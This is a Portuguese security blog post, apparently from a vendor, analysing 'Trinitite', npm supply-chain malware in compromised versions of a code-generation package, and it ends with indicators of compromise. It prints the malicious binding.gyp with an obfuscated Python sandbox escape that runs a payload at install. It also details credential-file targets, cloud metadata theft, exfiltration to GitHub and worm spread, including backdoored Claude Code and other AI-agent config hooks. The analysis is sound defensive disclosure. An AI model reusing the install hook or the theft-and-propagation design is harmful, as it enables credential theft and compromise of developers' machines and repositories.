Passou apenas um dia desde que soubemos da notícia de que membros do TeamPCP foram detidos na Austrália, e detetámos agora um novo malware semelhante ao TeamPCP a afetar 10 versões de um pacote npm popular chamado @7nohe/openapi-react-query-codegen (+150 000 descargas semanais). Estas versões foram todas publicadas no npm num espaço de 20 minutos. O pacote em questão gera hooks do TanStack Query com segurança de tipos diretamente a partir de um esquema OpenAPI, evitando que os programadores escrevam código boilerplate manualmente.
O malware autodenomina-se "Trinitite: Sponsored by Preview 2 Effects". A trinitite é o material vítreo deixado no chão do deserto após uma detonação nuclear. Versões anteriores do payload faziam referência a um script literalmente chamado is_it_this_simple.js, o que resume bem a atitude.
Se estamos perante um imitador, um ex-membro que conseguiu escapar às detenções ou um agente de ameaças totalmente separado, continua a ser incerto. Quem quer que esteja por trás deste ataque partilha claramente o gosto pela teatralidade com o TeamPCP.
Tanto o pacote npm como o respetivo repositório no GitHub parecem ter sido comprometidos. O atacante obteve acesso ao explorar uma vulnerabilidade num dos workflows do GitHub Actions do projeto. Consequentemente, todas as versões incluem atestações de proveniência válidas. Trata-se de certificados criptográficos que comprovam que o pacote foi compilado pelo workflow oficial do GitHub Actions. No entanto, quando o próprio workflow é comprometido, esse certificado deixa de ser um sinal de confiança fiável.
O container escape no binding.gyp
O hook de execução inicial é binding.gyp, um ficheiro normalmente utilizado para configurar a compilação de módulos nativos do Node.js. Fiquei algo surpreendido por ver este truque em particular a ser utilizado aqui, tendo em conta que reportei sobre esta classe de vulnerabilidade no início deste ano. A técnica parece estar a ganhar força.
Quando npm install processa um pacote que contém um binding.gyp, invoca node-gyp para compilar o módulo nativo. node-gyp avalia o condições campo no ficheiro utilizando Python, o que significa que podem ser colocadas expressões Python arbitrárias que serão executadas durante a instalação, mesmo sem qualquer preinstall script declarado em package.json.
O binding.gyp neste pacote tem o seguinte aspecto:
{
"variables": {
"var": "Frot",
},
"conditions":[
["[c for c in ().__class__.__base__.__subclasses__() if c.__name__ == u'\\U00000063\\U00000061\\U00000074\\U00000063\\U00000068\\U0000005f\\U00000077\\U00000061\\U00000072\\U0000006e\\U00000069\\U0000006e\\U00000067\\U00000073'][0]()._module.__builtins__[u'\\U0000005f\\U0000005f\\U00000069\\U0000006d\\U00000070\\U0000006f\\U00000072\\U00000074\\U0000005f\\U0000005f'](u'\\U0000006f\\U00000073').system(u'\\U0000006E\\U0000006F\\U00000064\\U00000065\\U00000020\\U00000033\\U00000046\\U00000057\\U00000043\\U00000076\\U0000007A\\U00000064\\U00000075\\U00000059\\U0000005A\\U00000067\\U0000002E\\U0000006A\\U00000073') == 0x00", {}],
],
"targets": [
{
"target_name": "<(var)",
"type":"\x6e\x6f\x6e\x65",
"sources": ["dog.c"],
}
]
}A expressão de condição é um Escape da sandbox de Python utilizando a catch_warnings classe, acedida através da navegação na hierarquia de classes a partir de (). Uma vez descodificados, os caracteres de escape Unicode e hexadecimais resultam no seguinte:
[c for c in ().__class__.__base__.__subclasses__() if c.__name__ == 'catch_warnings'][0]()._module.__builtins__['__import__']('os').system('node 3FWCvzduYZg.js')Encontra a catch_warnings classe através da árvore de subclasses interna do Python, utiliza-a para aceder a __builtins__, importa os, e chama os.system() para executar a carga útil principal com o Node. O type campo está codificado em hexadecimal nenhum pelo que não é tentada nenhuma compilação nativa real, e o nome do alvo Frot não tem significado. Todo o ficheiro existe unicamente para executar um comando shell.
Vale a pena notar que nem todas as versões comprometidas utilizam este truque. As duas versões de pré-lançamento utilizam um script preinstall simples em alternativa. 0.0.0-ec7876d6c917dad516ba69bbfafc948b834bf0ab executa node nu.js diretamente. 0.0.0-365d4eb738d3146583431948d3ba6e27a32556be faz o download do Bun através de wget enviado por pipe para bash e depois executa is_it_this_simple.js.
Dito isto, as versões comprometidas subsequentes duplicaram a aposta e adicionaram ambos os vetores em simultâneo, associando o binding.gyp truque a um "preinstall": "node 3FWCvzduYZg.js" script explícito para maior segurança.
Ofuscação e evasão de sandbox
3FWCvzduYZg.js é um ficheiro de linha única de 5.4 MB localizado na raiz do pacote. O ficheiro utiliza quatro camadas de encriptação. A camada mais externa consiste num array de inteiros com 1.6 milhões de elementos, sujeito a uma operação XOR com a chave 29. Isto desencadeia um script que transfere o runtime do Bun de forma silenciosa (como trinnyyyy-XXXXX no diretório temporário do sistema) e utiliza-o para executar o payload real, que se encontra encriptado com AES-128-GCM no seu interior. O payload interno contém mais 800 KB de JavaScript ofuscado, utilizando uma cifra personalizada baseada numa tabela baralhada aplicada sobre transformações padrão do obfuscator.io. Totalmente decifrado e desofuscado, inclui um recolhedor de credenciais, um worm e um comando destrutivo.
Antes de realizar qualquer ação, o payload verifica várias condições e termina de forma silenciosa se alguma delas se verificar:
- A localização do sistema é russa (verifica
Intl.DateTimeFormat,LC_ALL,LC_MESSAGES,LANGUAGE,LANG) - Estão presentes diretórios do CrowdStrike, SentinelOne ou CarbonBlack
- O diretório de trabalho começa com
/tmp/npm-safe/ou/opt/hscan-supplychain-dynamic/ - As variáveis de ambiente contêm prefixos de credenciais falsas conhecidos utilizados por scanners de segurança (
AKIAFAKE,npm_F4k3NPMToken,sk-ant-api03-fake,ghp_decoyGitHubToken) - O
GITHUB_REPOSITORY_OWNERé uma das várias contas de investigação de segurança conhecidas (actions-security-demo,h0x0er,varunsh-coder,rohan-stepsecurity) - A ferramenta harden-runner do StepSecurity está ativa
O que ele rouba
A carga útil (payload) visa uma vasta gama de credenciais, em plataformas Cloud, ferramentas de desenvolvimento e ficheiros locais.
tokens do GitHub
Procura PATs clássicos (gh[op]_...) e tokens de grão fino (github_pat_...) em variáveis de ambiente e ficheiros locais. Nos runners do GitHub Actions, também solicita um token OIDC através de ACTIONS_ID_TOKEN_REQUEST_TOKEN e ACTIONS_ID_TOKEN_REQUEST_URL.
tokens npm, PyPI e RubyGems
Lê ~/.npmrc e procura ficheiros .npmrc adicionais. Extrai bearer tokens e valida-os contra registry.npmjs[.]org/-/whoami. Visa tokens PyPI (pypi-AgEIcHlwaS5vcmcCJ...) e tokens RubyGems (rubygems_...) pelo mesmo método.
Credenciais AWS
AWS_ACCESS_KEY_ID,AWS_SECRET_ACCESS_KEY,AWS_SESSION_TOKEN, e dez variáveis de ambiente relacionadas~/.aws/credentialse~\/.aws\/config- Serviço de Metadados da Instância EC2 em
169[.]254[.]169[.]254, tentando primeiro o IMDSv2 - ponto de extremidade de metadados do Container ECS em
169[.]254[.]170[.]2 - Faz chamadas a
sts:GetCallerIdentitypara verificar as credenciais antes de as exfiltrar
Credenciais do Azure
AZURE_CLIENT_ID,AZURE_CLIENT_SECRET,AZURE_TENANT_ID, e ficheiro de token federado- Endpoint de identidade gerida do Azure IMDS
- Acede ao Azure Key Vault, Azure Resource Manager e Microsoft Graph API após autenticação
Credenciais do GCP
GOOGLE_APPLICATION_CREDENTIALSficheiro JSON da conta de serviço- Servidor de metadados do GCP em
metadata[.]google[.]internal - Google Secret Manager assim que um token for obtido
HashiCorp Vault
VAULT_TOKEN_FILE,VAULT_TOKEN_PATH,VAULT_ADDR,VAULT_API_TOKEN- Enumera os Secrets através de
/api/v1/system/me,/secrets,/api/v1/namespaces
Kubernetes
- Token de conta de serviço em
/var/run/secrets/kubernetes.io/serviceaccount/token KUBECONFIGe~/.kube/config/etc/rancher/k3s/k3s.yaml
Verificação do sistema de ficheiros (mais de 150 padrões glob)
- Todas as chaves privadas SSH:
~/.ssh/id_rsa,~/.ssh/id_ed25519,~/.ssh/id_ecdsa,~/.ssh/id_dsa,~/.ssh/id* ~/.docker/config.json,/root/.docker/config.json.env,.env.local,.env.production~/.git-credentials,~/.gitconfig,~/.config/git/credentials~/.npmrc,~/.pypirc,~/.cargo/credentials.toml,~/.terraform.d/credentials.tfrc.json~/.bash_history,~/.zsh_history,~/.node_repl_history- Carteiras de criptomoedas:
~/.ethereum/keystore/*,~/.monero/*, Ledger Live, Exodus - Dados de sessões de mensagens: Signal, Telegram Desktop, Discord, Slack, Element
- Configurações de VPN: NordVPN, OpenVPN, ProtonVPN, CyberGhost, Windscribe, PIA
- Claude AI:
~/.claude.json,~/.claude/*,~/.claude/projects/*,~/.claude/mcp.json - Domínios e tokens do JFrog Artifactory
Exfiltração
Assim que as credenciais são recolhidas, o payload necessita de um repositório do GitHub para onde as carregar. Tal como em ataques anteriores do tipo Miasma, começa por pesquisar no histórico de commits públicos do GitHub por commits cuja mensagem corresponda a "IfYouRevokeThisTokenYourABadUser:{encrypted_token}". Desencripta o token incorporado e utiliza essa conta para criar o repositório de exfiltração. Isto significa que os dados roubados de uma vítima acabam num repositório pertencente a um utilizador diferente.
O nome do repositório é gerado combinando dois nomes de personagens de Touhou Project escolhidos aleatoriamente com um número aleatório, por exemplo cirno-marisa-74291 ou reimu-kogasa-12048. A descrição do repositório é definida como "Trinitite: Sponsored by Preview 2 Effects", que é a forma como pode identificar repositórios de exfiltração na natureza:

As credenciais roubadas são submetidas (committed) como ficheiros JSON encriptados chamados doubletrinnys-{counter}-{timestamp}.json dentro de um diretório resultados/ . Cada ficheiro contém dois campos: envelope, o pacote de credenciais encriptado, e chave, a própria chave de encriptação encriptada com a chave pública RSA do atacante. Apenas o atacante, na posse da chave privada correspondente, consegue desencriptar o conteúdo. Os dados ficam visíveis em repositórios públicos do GitHub, mas são ilegíveis para qualquer outra pessoa. Curiosamente, a maioria das mensagens de commit diz apenas "meow meow meow".
Propagação de worm
O Trinitite utiliza tokens roubados para se propagar a outros pacotes e repositórios.
npm, PyPI e RubyGems
Com um token do npm roubado, o payload chama registry.npmjs[.]org/-/npm/v1/tokens para encontrar o token de publicação com o nível de privilégio mais elevado, e em seguida consulta /v1/search?text=maintainer:{user} para enumerar todos os pacotes que esse mantenedor possui. Obtém o tarball atual para cada pacote, injeta um novo binding.gyp contendo o mesmo Escape de sandbox em Python, adiciona uma cópia de 3FWCvzduYZg.js, e publica uma nova versão. O mesmo padrão aplica-se ao PyPI (através de upload.pypi[.]org/legacy/) e ao RubyGems (através de rubygems[.]org/api/v1/gems). Todos os pedidos de publicação utilizam {tls: {rejectUnauthorized: false}} para contornar a validação de certificados (certificate pinning).
contaminação de repositórios do GitHub
Com um token do GitHub roubado, a carga útil enumera todos os repositórios e branches acessíveis, ignorando os branches com o prefixo release/, dependabot/, renovate/, e copilot/. Para cada branch, submete os seguintes ficheiros:
.vscode/tasks.jsoncom uma configuração de gestor de tarefas comprometida (backdoor).claude/settings.jsoncom umSessionStarthook que é executadosetup.mjssempre que um programador abre o projeto no Claude Code.claude/setup.mjscontendo a carga útil secundária.vscode/setup.mjscontendo o mesmo.github/workflows/codeql.yml, um fluxo de trabalho de segurança CodeQL falso que também funciona como uma porta dos fundos (backdoor).gemini/settings.json,.cursor/rules/debug.mdc,.codex/config.toml,.opencode/plugins/setup.js
Cada commit tem como autor github-actions com a mensagem "chore: update dependencies" e um skip-checks:true trailer para contornar as verificações de estado obrigatórias.
Como a Aikido detecta isso
Se você é um usuário Aikido, verifique seu feed central e filtre por problemas de malware. Isso aparecerá como um problema crítico 100/100. O Aikido reanalisa todas as noites, mas recomendamos acionar uma reanálise manual agora.
Se você ainda não é um usuário Aikido, pode criar uma conta e conectar seus repositórios. Nossa cobertura de malware está incluída no plano gratuito, não é necessário cartão de crédito.
Para uma cobertura mais ampla em toda a sua equipe, o Device Protection da Aikido oferece visibilidade e controle sobre os pacotes de software instalados nos dispositivos da sua equipe. Ele abrange extensões de navegador, bibliotecas de código, plugins IDE e dependências de build, tudo em um só lugar. Pare o malware antes que ele seja instalado.
Para proteção futura, considere Aikido Safe Chain (open source). O Safe Chain se integra ao seu fluxo de trabalho existente, interceptando comandos npm, npx, yarn, pnpm e pnpx e verificando pacotes contra Aikido Intel antes da instalação.
Indicadores de comprometimento (IOCs)
Versões do pacote
@7nohe/openapi-react-query-codegen@0.5.4@7nohe/openapi-react-query-codegen@0.5.5@7nohe/openapi-react-query-codegen@1.6.3@7nohe/openapi-react-query-codegen@1.6.4@7nohe/openapi-react-query-codegen@2.2.1@7nohe/openapi-react-query-codegen@2.2.2@7nohe/openapi-react-query-codegen@3.0.3@7nohe/openapi-react-query-codegen@3.0.4@7nohe/openapi-react-query-codegen@0.0.0-365d4eb738d3146583431948d3ba6e27a32556be@7nohe/openapi-react-query-codegen@0.0.0-ec7876d6c917dad516ba69bbfafc948b834bf0ab
Arquivos
3FWCvzduYZg.jspresente na raiz do pacote- SHA256:
8e5d1af68ca340ae0c6e8132cb00c686ec2d60502c1994d94ce353d1472ad5a3 - SHA256:
b49afb7dba04cd99b357ce7c652c823a3707f28e130bd5c6645851a7adc030d6 - SHA256:
59370c67b54a0ccaedd265e2356f04540b2fba1e1845300ef6de4d5437d99380 - SHA256:
778d6f0058045d6a2ab9a7e1d3e3be8e7e6b4d9cc217d13949bf1dfbab759a7c - SHA256:
b24d121667f21f492cb9db34fbfd515d5922a8dd30b9c45215c7220abbb10ca8 - SHA256:
e1f1162ece9a6e6ea21a20399cbf31c563a8149d433a68711f4223870c203d5a - SHA256:
b6012b2ff87f08f93ee53921c48db907ddbcf5461b03bb988083b01a36886237 - SHA256:
709af2fdeb50324229e94c44c679a0fab18bd8e17d3864405989c526cbb63ad8
- SHA256:
- Diretórios temporários com o nome
trinnyyyy-seguidos por 6 caracteres alfanuméricos aleatórios (por exemplo,trinnyyyy-a3f9k2) na pasta temporária do sistema